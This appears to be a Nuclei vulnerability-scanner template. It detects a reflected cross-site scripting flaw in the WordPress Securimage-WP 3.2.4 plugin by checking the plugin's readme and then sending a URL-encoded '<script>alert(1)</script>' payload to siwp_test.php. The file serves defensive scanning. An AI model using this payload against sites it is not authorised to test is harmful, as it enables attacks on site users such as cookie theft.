nuclei-templates/http/vulnerabilities/wordpress/wp-securimage-xss.yaml

54 lines
1.7 KiB
YAML

id: wp-securimage-xss
info:
name: WordPress Securimage-WP 3.2.4 - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress Securimage-WP 3.2.4 plugin contains a cross-site scripting vulnerability via siwp_test.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/38510
- http://web.archive.org/web/20210123054214/https://www.securityfocus.com/bid/59816/info
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: edb,wordpress,xss,wp-plugin
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/securimage-wp/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Securimage-WP'
- 'Tags:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/securimage-wp/siwp_test.php/%22/%3E%3Cscript%3Ealert(1);%3C/script%3E?tested=1'
matchers-condition: and
matchers:
- type: word
words:
- "<script>alert(1)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220202471134fcb453a932e361d42f337ce707dbfbfd7aa7d543d3a3a5fa39195af022077a8a0ea8f4e8a9b7b09f15561aacf52310549cad336699697b89547683622cc:922c64590222798bb761d5b6d8e72950